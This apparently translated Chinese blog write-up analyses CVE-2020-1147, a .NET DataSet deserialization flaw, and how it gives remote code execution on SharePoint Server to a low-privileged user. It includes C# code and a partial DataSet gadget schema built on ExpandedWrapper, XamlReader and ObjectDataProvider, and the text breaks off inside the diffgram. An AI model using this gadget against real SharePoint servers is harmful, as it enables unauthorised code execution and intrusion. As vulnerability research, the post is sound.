SharePoint和Pwn:针对SharePoint Server滥用DataSet的远程代码执行

0x00 前言

7月,在CVE-2020-1147漏洞发布时,我很好奇这个漏洞的表现形式,以及如何利用这个漏洞实现远程代码执行。由于我对于SharePoint Server和.NET比较了解,因此决定深入研究一下。

在这篇文章中,我将详细分析CVE-2020-1147漏洞,该漏洞由Oleksandr Mirosh、Markus Wulftange和Jonathan Birch独立发现。我将分享如何针对SharePoint Server实例利用这一漏洞的详细信息,使用低特权用户的身份获得远程代码执行。需要特别说明的是,在这里我并没有提供完整的漏洞利用,因此如果大家遇到问题,需要独立解决。

我比较关注的一个点在于,Microsoft引用了与该漏洞相关的安全指南,具体如下:

如果传入的XML数据包含其类型不在列表中的对象,则会引发异常。反序列化操作将会失败。在将XML加载到现有的DataSet或DataTable实例中时,还应该考虑现有的列定义。如果表中已经包含自定义类型的列定义,那么在XML反序列化操作期间,该类型将被临时添加到允许列表中。

有趣的是,这里可以指定类型,并且可以覆盖列定义。奇热而这对我来说似乎很有帮助,让我们来看一下如何创建DataSet对象。

0x01 理解DataSet对象

在数据集DataSet中,包含数据表Datatable,其中包括数据列DataColumn和数据行DataRow。更重要的是,它实现了ISerializable接口,这意味着我们可以使用XmlSerializer对其进行序列化。首先,创建一个DataTable

        static void Main(string[] args)
        {
            // instantiate the table
            DataTable exptable = new DataTable("exp table");
                    
            // make a column and set type information and append to the table
            DataColumn dc = new DataColumn("ObjectDataProviderCol");
            dc.DataType = typeof(ObjectDataProvider);
            exptable.Columns.Add(dc);
                    
            // make a row and set an object instance and append to the table
            DataRow row = exptable.NewRow();
            row["ObjectDataProviderCol"] = new ObjectDataProvider();
            exptable.Rows.Add(row);
                    
            // dump the xml schema
            exptable.WriteXmlSchema("c:/poc-schema.xml");
        }

使用WriteXmlSchema方法,可以写出该模式的定义。这段代码会产生以下内容

< ?xml version="1.0" standalone="yes"? >< xs:schema id="NewDataSet" xmlns="" xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata" >
  < xs:element name="NewDataSet" msdata:IsDataSet="true" msdata:MainDataTable="exp_x0020_table" msdata:UseCurrentLocale="true" >
    < xs:complexType >
      < xs:choice minOccurs="0" maxOccurs="unbounded" >
        < xs:element name="exp_x0020_table" >
          < xs:complexType >
            < xs:sequence >
              < xs:element name="ObjectDataProviderCol" msdata:DataType="System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" type="xs:anyType" minOccurs="0" / >
            < /xs:sequence >
          < /xs:complexType >
        < /xs:element >
      < /xs:choice >
    < /xs:complexType >
  < /xs:element >< /xs:schema >

在查看DataSet的代码后发现,它使用WriteXml和ReadXML公开了自己的序列化方法(包装在XmlSerializer上)

System.Data.DataSet.ReadXml(XmlReader reader, Boolean denyResolving)
  System.Data.DataSet.ReadXmlDiffgram(XmlReader reader)
    System.Data.XmlDataLoader.LoadData(XmlReader reader)
      System.Data.XmlDataLoader.LoadTable(DataTable table, Boolean isNested)
        System.Data.XmlDataLoader.LoadColumn(DataColumn column, Object[] foundColumns)
          System.Data.DataColumn.ConvertXmlToObject(XmlReader xmlReader, XmlRootAttribute xmlAttrib)
            System.Data.Common.ObjectStorage.ConvertXmlToObject(XmlReader xmlReader, XmlRootAttribute xmlAttrib)
              System.Xml.Serialization.XmlSerializer.Deserialize(XmlReader xmlReader)

现在,剩下的步骤就是将表格添加到数据集中,并对其进行序列化

            DataSet ds = new DataSet("poc");
            ds.Tables.Add(exptable);
            using (var writer = new StringWriter())
            {
                ds.WriteXml(writer);
                Console.WriteLine(writer.ToString());
            }

这种序列化方式保留了模式类型,并在运行时使用实例化的XmlSerializer对象图中的单个DataSet预期类型来重建受到攻击者影响的类型。

0x02 DataSet Gadget

下面是可以构造的gadget示例,请注意,不要将它与ysoserial中的DataSet gadget混淆

< DataSet >
  < xs:schema xmlns="" xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata" id="somedataset" >
    < xs:element name="somedataset" msdata:IsDataSet="true" msdata:UseCurrentLocale="true" >
      < xs:complexType >
        < xs:choice minOccurs="0" maxOccurs="unbounded" >
          < xs:element name="Exp_x0020_Table" >
            < xs:complexType >
              < xs:sequence >
                < xs:element name="pwn" msdata:DataType="System.Data.Services.Internal.ExpandedWrapper`2[[System.Windows.Markup.XamlReader, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" type="xs:anyType" minOccurs="0"/ >
              < /xs:sequence >
            < /xs:complexType >
          < /xs:element >
        < /xs:choice >
      < /xs:complexType >
    < /xs:element >
  < /xs:schema >
  < diffgr:diffgram xmlns:msdata="urn:schemas-microsoft-com:xml-msdata" xmlns:diffgr="urn:schemas-microsoft-com:xml-diffgram-v1" >
    < 
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值